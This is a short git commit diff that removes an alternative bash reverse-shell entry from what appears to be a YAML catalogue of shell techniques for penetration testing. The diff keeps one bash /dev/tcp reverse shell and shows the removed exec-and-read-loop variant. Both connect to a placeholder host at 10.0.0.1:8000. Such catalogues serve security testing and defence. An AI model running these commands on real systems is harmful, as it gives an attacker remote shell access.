Remove alternative bash reverse-shell

This commit is contained in:
Emilio Pinna 2018-05-22 19:10:17 +01:00
parent 028a202891
commit 1e34daccee

View File

@ -38,8 +38,4 @@ functions:
RHOST=10.0.0.1 RHOST=10.0.0.1
RPORT=8000 RPORT=8000
bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1 bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1
- code: |
RHOST=10.0.0.1
RPORT=8000
exec 5<&-;exec 5<>/dev/tcp/$RHOST/$RPORT; while read line 0<&5; do $line 2>&5 >&5; done
--- ---